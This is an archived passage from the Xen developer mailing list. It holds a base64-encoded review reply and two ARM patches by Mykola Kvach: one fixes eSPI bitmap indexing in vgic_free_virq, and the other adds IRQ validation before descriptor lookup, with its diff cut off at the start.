X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY4P286MB6288
X-purgate-ID: tlsNG-c201ff/1783670237-18A2012E-ED4A82FA/0/0
X-purgate-type: clean
X-purgate-size: 1934

SGVsbG8sDQoNCj4gPiAtLS0gYS94ZW4vYXJjaC9hcm0vS2NvbmZpZw0KPiA+ICsrKyBiL3hlbi9h
cmNoL2FybS9LY29uZmlnDQo+ID4gQEAgLTIzLDYgKzIzLDcgQEAgY29uZmlnIEFSTQ0KPiA+ICAJ
c2VsZWN0IEhBU19TVEFDS19QUk9URUNUT1INCj4gPiAgCXNlbGVjdCBIQVNfU1RBVElDX01FTU9S
WQ0KPiA+ICAJc2VsZWN0IEhBU19VQlNBTg0KPiA+ICsJc2VsZWN0IEhBU19HRU5FUklDX0NQVV9U
T1BPTE9HWQ0KPiANCj4gUGxlYXNlIGluc2VydCBhdCB0aGUgYXBwcm9wcmlhdGUgc3BvdCBvZiB0
aGlzIGxpc3QsIG5vdCBhdCB0aGUgYm90dG9tLiBXZQ0KPiB0cnkgdG8ga2VlcCBzdWNoIGxpc3Rz
IHNvcnRlZCAoYm90aCBmb3IgZWFzaWVyIGxvb2t1cCBhbmQgZm9yIHJlZHVjZWQgcmlzaw0KPiBv
ZiB0d28gcGF0Y2hlcyBjb2xsaWRpbmcpLg0KDQpPa2F5LCBJIHdpbGwgZml4IGl0IHNvb24uDQoN
Cj4gPiAtLS0gYS94ZW4vY29tbW9uL0tjb25maWcNCj4gPiArKysgYi94ZW4vY29tbW9uL0tjb25m
aWcNCj4gPiBAQCAtMTkxLDYgKzE5MSwyMSBAQCBjb25maWcgVk1fRVZFTlQNCj4gPiAgY29uZmln
IE5FRURTX0xJQkVMRg0KPiA+ICAJYm9vbA0KPiA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gbmV4dCB2ZXJzaW9uLg0KDQpIaXJva2F6dSBUYWthaGFzaGkuDQo=


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 08:31:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 08:31:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358899.1612759 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi6eH-0003Ew-Up; Fri, 10 Jul 2026 08:31:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358899.1612759; Fri, 10 Jul 2026 08:31:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi6eH-0003El-Rd; Fri, 10 Jul 2026 08:31:53 +0000
Received: by outflank-mailman (input) for mailman id 1358899;
 Fri, 10 Jul 2026 08:31:53 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wi6eG-00031k-Uo
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 08:31:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi6eF-00GHay-S5
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:31:51 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50adf2-e002-0a2a0a5209dd-0a2a4502ab40-26
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 10:31:51 +0200
Received: from [52.101.84.97]
 (helo=DB3PR0202CU003.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50adf7-64c6-0a2a45020019-346554610d4f-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 10:31:51 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7367.eurprd03.prod.outlook.com (2603:10a6:20b:2ed::24)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 08:31:48 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 08:31:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=x1fHHZ+yWsXY2qnifJWLwtVhcNUC4/FVOzKCHNMmQKvAs9x8Dlu9AvzicIVmTK/Sfvf2IFmmwuJGL4SaHOVQ1wdI/wOGduDydnxeqEft3CWGvbgxE6IMEyP6pPc9CzhxJYl4lqIMopx1syesX2/829xnt5GOhZto+JgY9PV6WSyS1lXnEjSuy0CsjxiJQk9XIAtnGpSF7bugnGUbSR2uUQh4ftlsfs+t/HyLM1WyNXm6TU2Stljl7I7nOVCCBZKv6vj97vlEj40v6ynJeSsT3sHWEBwX3lLefHtw56lh5UUayqwh0L1dskRKvLWRQ9CRK+GWZqrycKsucQe4Oc/8Ww==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=61GIlb6exJm425sHaT9cUAkX2wIriwZ7XFpSTPSlU5I=;
 b=rwMy2WpRNIsfeveJe1GcK/rmRm/NLw2Avv0btSSgcCulRytTkfv7Sc3nNN4YKtPw0KP0ey2oesA3o0ZP0RKx181vqtkOS1azCn6Klq+En/f5bcrZdFm6MyAsUCMA0fAi3QgojPi2bJfl+PGkA4M9qgVj/QYyU/y814jHaOexwleb4Fd5HgUAK1ZlKNOOticj/LKuCbFM4tLJecVhpxnbvz7+6QwzjIv4ffUCuJofVxHH0zRKKRFX+0ENbvzTXjzJVYV8vZTCsm2hBGV7GfON7GowzjDBsKkY2rovIYQywF0k0l0+ccLl9Bc6WAkvV7fd/st9/PNJZW4bjr85XHRweQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=61GIlb6exJm425sHaT9cUAkX2wIriwZ7XFpSTPSlU5I=;
 b=l+C3nnH1mifcwQs0GQZ9ZdQjkfWEP5zSnEULFcwx5jePIuvXYAaRXmD/nx3Dzt5T1OTofAOA0w1TMTWarJaCmTiL+8PeDwYVeEOHUaFvVF9Jgve39N4BZfIams0OLSQ68Ms0K1DBCM+mfUtRMIWVOms1NoPrG6s+zf5EqzhLXNv7oGxJPMtHcvr4ikNLkNzW0pzrbB/ietFzJglhAecLqWmatneaDMKX/cdUI8DTX5CwvMAGbKnlFDwfSPXvlxqbKqC8rZjrP1NkfqExSDVuRLAZoDRRfAEgDPwW/cw+uMV7OLSJyCoFNLO0D6wNUMSyFqzwOLbvN0HQvfhCDKIjXQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [PATCH for-4.22 2/2] xen/arm: vgic: free eSPIs using the bitmap index
Date: Fri, 10 Jul 2026 11:31:32 +0300
Message-ID: <6d279de6db90c7e8b76fb4da93b8e451a9cf9874.1783671887.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1783671887.git.mykola_kvach@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA1PEPF00005B93.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d8::631) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7367:EE_
X-MS-Office365-Filtering-Correlation-Id: 12b2a379-7013-4f65-8552-08dede5daf3e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|18002099003|22082099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	Mgy3L0qnbUns0g1zG0Ygj5lMfzxMILFkrpJRs419Ca/W7hhe47V81Cc0YM7+slHBWtkLjNXorJz2U7em6YdGEJB4tmVvOTA1OTrx/GCQk+sFMMaoM3ZpGtKJ5JLthY+Zb5w8bcInQ4pXHIddSAO0M2zqxzpZIo7zxwVQ/cSxca5KUMtCjdngvIi8rQ8hitUxZZ3wkojr4fw1rEpv5kl733Q0OUnbJWTWvpneSZ9jeDFejfDg97SdhQvWxRKfi9jTpggWbIzpiwzOqo3q+Vj7k5R35khAL5ehIHJbBTUfBkuXRfj3t+ABym38aDbWRiZI65zaPW2dNiFYrNr9TTCu8Ip4oUcX65Wyrg41jLDkA0qY9GJLC601wmtTwROMP6lvGTyVUraRV5ZKcwu8XmHgWWO3t1yDSAexLh8n2EPd1CF4DintEPJf5T4UG6AYe/PxGaZ4dYheYtUC0amDUtE8F3no+reJjYFzPFuKF8wd0M5l6sf/rj/VHkw2jWfuCCQWmFOzAbF+WC5iP9/nL00EhnXgTK3fgxiMgZuYrkvuk8AF+5wWBw4daXdh1cVVFqZ7nQXGXXVsQDs5Aduukc1ke634GAEAl/s7ZaE7DGdQwjm/3qtjEBXyUlmPRzLxbPOY0xd+ni4mKFR25wyHE8SgjXlrrNqdqf5H+KAy2tsWPp8=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(18002099003)(22082099003)(56012099006)(11063799006);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?TDZWlC7CrhTm+C9ev89LdpemmDOLhigwqL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0dxrBEbHRGZOtu?=
 =?us-ascii?Q?Zh0VtgagQQ=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 12b2a379-7013-4f65-8552-08dede5daf3e
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 08:31:48.8073
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: hEZX5vucRe9smMal2PkLwFu8kkVyAmdzPqjiHyTLmBPAHsh75NIIyaRM/loplRnsIPiWYwzqUkAUwtScCCYsVg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7367
X-purgate-ID: tlsNG-720697/1783672311-3C954A87-D6AF5F65/0/0
X-purgate-type: clean
X-purgate-size: 2564

Classic vGIC stores eSPIs in allocated_irqs after the regular virtual
interrupts. vgic_reserve_virq() therefore translates an eSPI INTID to a
compressed bitmap index before test_and_set_bit().

vgic_free_virq() still used the raw virtual INTID. Freeing INTID 4096
would clear bit 4096 instead of the first eSPI allocation bit, which is
outside allocated_irqs for a domain with eSPI support. That can leave
the eSPI reserved and may corrupt memory.

Add the inverse of idx_to_virq() and use it in both reserve and free, so
the allocation bitmap is indexed consistently. Also reject invalid
virtual INTIDs before clearing the bitmap.

Fixes: bdde400c6e1b ("xen/arm: vgic: add resource management for extended SPIs")
Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
 xen/arch/arm/vgic.c | 27 ++++++++++++++++-----------
 1 file changed, 16 insertions(+), 11 deletions(-)

diff --git a/xen/arch/arm/vgic.c b/xen/arch/arm/vgic.c
index e5aca17dcb..b85710c6a7 100644
--- a/xen/arch/arm/vgic.c
+++ b/xen/arch/arm/vgic.c
@@ -33,6 +33,16 @@ static inline unsigned int idx_to_virq(struct domain *d, unsigned int idx)
     return idx;
 }
 
+static inline unsigned int virq_to_idx(struct domain *d, unsigned int virq)
+{
+#ifdef CONFIG_GICV3_ESPI
+    if ( is_espi(virq) )
+        return espi_intid_to_idx(virq) + vgic_num_irqs(d);
+#endif
+
+    return virq;
+}
+
 bool vgic_is_valid_line(struct domain *d, unsigned int virq)
 {
 #ifdef CONFIG_GICV3_ESPI
@@ -848,19 +858,11 @@ bool vgic_emulate(struct cpu_user_regs *regs, union hsr hsr)
 
 bool vgic_reserve_virq(struct domain *d, unsigned int virq)
 {
-    unsigned int idx = virq;
-
     if ( !vgic_is_valid_line(d, virq) )
         return false;
 
-    if ( is_espi(virq) )
-    {
-        unsigned int num_regular_irqs = vgic_num_irqs(d);
-
-        idx = espi_intid_to_idx(virq) + num_regular_irqs;
-    }
-
-    return !test_and_set_bit(idx, d->arch.vgic.allocated_irqs);
+    return !test_and_set_bit(virq_to_idx(d, virq),
+                             d->arch.vgic.allocated_irqs);
 }
 
 int vgic_allocate_virq(struct domain *d, bool spi)
@@ -897,7 +899,10 @@ int vgic_allocate_virq(struct domain *d, bool spi)
 
 void vgic_free_virq(struct domain *d, unsigned int virq)
 {
-    clear_bit(virq, d->arch.vgic.allocated_irqs);
+    if ( !vgic_is_valid_line(d, virq) )
+        return;
+
+    clear_bit(virq_to_idx(d, virq), d->arch.vgic.allocated_irqs);
 }
 
 unsigned int vgic_max_vcpus(unsigned int domctl_vgic_version)
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 08:31:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 08:31:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358898.1612751 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi6eG-00031s-OV; Fri, 10 Jul 2026 08:31:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358898.1612751; Fri, 10 Jul 2026 08:31:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi6eG-00031l-LA; Fri, 10 Jul 2026 08:31:52 +0000
Received: by outflank-mailman (input) for mailman id 1358898;
 Fri, 10 Jul 2026 08:31:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wi6eF-00031Y-3t
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 08:31:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi6eE-0068KU-Gt
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:31:50 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50adec-5cb7-0a2a0a5109dd-0a2a4507e13a-20
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 10:31:50 +0200
Received: from [52.101.65.122]
 (helo=DU2PR03CU002.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50adf5-ac46-0a2a45070019-3465417a18b4-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 10:31:50 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7367.eurprd03.prod.outlook.com (2603:10a6:20b:2ed::24)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 08:31:47 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 08:31:46 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=QGjvgFiNl34+xJSi7XW762+UEzuBXiGr6HG1Iw4PoIZXel5seLqpre5V/emSEMxfPUBDw/yBduM6zJ6hVtA7FcbF1IYV/zn41STdyACbQPGHbAj+9pd2ZKvdSS559sO+iLoDPlBNWKosVrUuqmP7TT4uoX7lhbRuKlwy5nG7jmwgDe32TdJxRhcXhm65lAE/nx0WqosIYiyYkbbUAiB8albqzH+2fIuEbs46tssJtstKgvstkkxvqVzP2J/bM2bOMjRdzx0eaNqOmfcIYkdVjRs/mviyVVUPXuSy7medfta7GPwjJLyxRhjbroPnV4lxEvA936TuUKeNAZehrrhxKw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=2aB5Y91zry1fHf55lGHOXbfuzTn/0G7deff54RC4rIc=;
 b=ML9IanVHEtCBE5rgbx7Z7ibGB75oSE4ES8b6t5icye/dgShYmnJQpWpkM+4kd8IoKIIRXUVglvxToeDAnrPKDpGjcQccNPE9dnzcBNAzPRQAW9aYWEvJzf0wL1WUsGMNByMZF61b9JSnQpsxrbAXZ4YcerzjSgZYPN6dtTKsxijv13pYDv79ByrjNXX6N8xNe7SZUfx9YKjaK/wUNneq2HWe+hrQeKQwb0CsbFH7aSfdnLGeli1YcrvSr3qIZKI7R4cq2uq9cjkRfLa8C9gKW7ShZKQ5UzBd7tSbHsht6q3nXMvsY/5zSnUijKm2cvK5n54M52RxCc+9nj8h8zRWhw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=2aB5Y91zry1fHf55lGHOXbfuzTn/0G7deff54RC4rIc=;
 b=FeMa5LJxJleKNH8Z/ijDr3gw1AqhzAe3+UPQKocxc3RMP53aed1NoafwurQQXpuxRlRnP/bNpoRLEgbfcampspHPSJS38jX2pRpV0ksQPc7PVrSX5vDngC71Ch+yJe6olAan399LpzYGhAxhmYDpk8XZJvyTJXt3MMcBDbik4gRCVNTwilES16ox9eSY6xkf16S+3cp2bkb6zFGWOEDOdP+xBxlDAY4Zc+5kVXM8i+8SvtTOBt3SYNUyMOLGQmIG7JMWsLMGdcJJcQQTpyLWHgYeqZP6cYWN8p1g/H28ZjuzMOP5TMC27vkCnyIUqEEkmQTPIWF4pW+2vzsTc069AQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor lookup
Date: Fri, 10 Jul 2026 11:31:31 +0300
Message-ID: <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1783671887.git.mykola_kvach@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA1PEPF00005B93.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d8::631) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7367:EE_
X-MS-Office365-Filtering-Correlation-Id: 6070b5b2-e650-4fb2-af32-08dede5dae18
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|18002099003|22082099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	MLC4ycrTD83nA+ysv0Bmtd82nd1XPwUer04KIdwTkeQxsCDgQu0xTJgrEBS/Be6vYztqzKzyu/DL7P4Jfg3qSoYWGsAAN4anB6oiu7coc9NQoBxW2/cf/YmS9tgJhlZbd0ZoUhyPUHw7X53J+nHNfJmwFde526Bqr0Iq8cURSJd2SpGoPk5Mz7ujC+Za5ENXconH/dw3COksYTEIWXq1jQs2aCOGISLDNHTv8cAc60MBK6L/UmGs30O/k8BtkpkI1g1UBizP5lMEutJJzk5Kf5fCGhWCoWkWNz7yThFp7cgBbvRQ4MBCNeCCsfHqidU7I2/gWQfJaKu7SUJyUd1lcq8olW4v0zso97NDMj/X9ummXClkKdzOAExE6472KfxGZtSQLfXCfIeSxDd8ab/4/FImfRiMqyX4IasP0kg6i6Z58wmbYzlPJ1dEe8OOj6MMs35NIRbcVddObzw/fIxKA83ut/Kfmh5LO26oOpFvR2AfjusyA5vOk2MpuLQ2+jFlne6HRvI8uU/5HvVLAuB7QiVXIHyUOtyhe7EjokH/Kf8xU8I21ROukLsN9/z814GBp/OD24m08xZgys38hyhSUKfdaRrfVgS8T9Sp6JJ1pbAnLs2rqkjYycwViWSnuQRe1wkN7fOEutosqsDgcjlaa/JPK9JvAcXIXmjnS7NitB0=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(18002099003)(22082099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?TU1ICNSE1vl+yl1HxVCpmOa+HX1XlLk00Of5v3EZ9lzGquLUbBOYjDNsZrmw?=
 =?us-ascii?Q?3ixhhhhaAoyUB64pa1Y9R6kSBvNMhfPppTB7qPksKBhHEvKDEC0ifpfayz8v?=
 =?us-ascii?Q?qyPA7XnRMrWouf4uuY4yUPAkU9NXdsfe+cYslRnQsnTHquUrdwjGIX4eZbdL?=
 =?us-ascii?Q?9XzwxkCdVzXj0Jk77sr47oIBODVaIVd/Fgp4f4LpdvT+W+7hypfqfmAbPhz0?=
 =?us-ascii?Q?RI7SAwjG+E7TuGviQri6IaK2Aal3vyTIQrcEy69WHUE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YdBN0MSyMt4sskPcOMqygv/FCuzQtXvMcz9obTktSgwoZmYWnHOG3?=
 =?us-ascii?Q?M7/CEhwW/2mOM+RXvtUJa7NeNEgYts/jO5PscznUnGXboPT2lE6rcviWoa6v?=
 =?us-ascii?Q?JP42Wkex4AoYNmBUkmMoPjVtyGS7qbDp28buhH457U0hLXwm7Yw84bux8IWG?=
 =?us-ascii?Q?5SzCMu2UU/Qkp4Q/8Fxr04UtQTlIdPigvSg2+bANtdIvd4JZ32gFjHKwVt5t?=
 =?us-ascii?Q?8jHBTTa0e8M9Jjc4NpzOy0P0daF2dmT/SkALftv4f9n+MG2f9QjRH9I/AUEo?=
 =?us-ascii?Q?Hs15kk8cZdkNdhQEO4oK2AWRVmq55OxIP3j7Szlqc4KyrfgneqW0OWDHn/mw?=
 =?us-ascii?Q?vw6xpS2fmRa9p9v8fjhYYClGuYRwCnhjSSwThBtjB2Cp06xP17btP+ycGJYK?=
 =?us-ascii?Q?TI/ql7oKwaqLnrvo/Qoq5V9iX4N6RJ3izoq89FBf1sNA7/hD8dmyIdgrKkDt?=
 =?us-ascii?Q?FjsDcd7L7Spm1jFVNPXybr7SNguv4JJxq45S6Uj0mreP+f5zfxKqY47ibMwX?=
 =?us-ascii?Q?zD1CnkBXfOz2Zm+IXVdHdYHAVrxNGVSNHzCKhSC4vmCi7pxsqMPRHqXDoohy?=
 =?us-ascii?Q?G+/oK2wJRw=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6070b5b2-e650-4fb2-af32-08dede5dae18
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 08:31:46.8624
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: ynilg9eiZKmb4lKWGUikDibsxBNUTXVHRRqDQ07A73u/qAIS+RbPt+aErRWHaZUmz4oC79yWvrX7lNlX2TkImg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7367
X-purgate-ID: tlsNG-ef75cf/1783672310-17F67201-03401FC0/0/0
X-purgate-type: clean
X-purgate-size: 2650

With GICv3 eSPI support, nr_irqs covers the architectural INTID
namespace up to ESPI_MAX_INTID. That namespace is not backed by a
single dense irq_desc[] array: regular SPIs use irq_desc[], eSPIs use
espi_desc[], and the INTIDs in between must not be treated as
descriptor indices.

A firmware-provided interrupt in the sparse range can therefore pass
checks based only on nr_irqs and reach irq_to_desc().

Validate IRQs with the GIC line helpers before looking up descriptors
in setup_irq(). Also validate SPI type configuration with gic_is_spi()
before irq_set_spi_type() obtains the descriptor, covering the
platform_get_irq() -> irq_set_type() path. The route-to-Xen assert
becomes redundant because setup_irq() now rejects invalid IRQs before
routing.

Fixes: 98f7060b9ed ("xen/arm/irq: add handling for IRQs in the eSPI range")
Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
 xen/arch/arm/gic.c | 2 --
 xen/arch/arm/irq.c | 9 +++++++--
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/xen/arch/arm/gic.c b/xen/arch/arm/gic.c
index ee75258fc3..ed9870c1bd 100644
--- a/xen/arch/arm/gic.c
+++ b/xen/arch/arm/gic.c
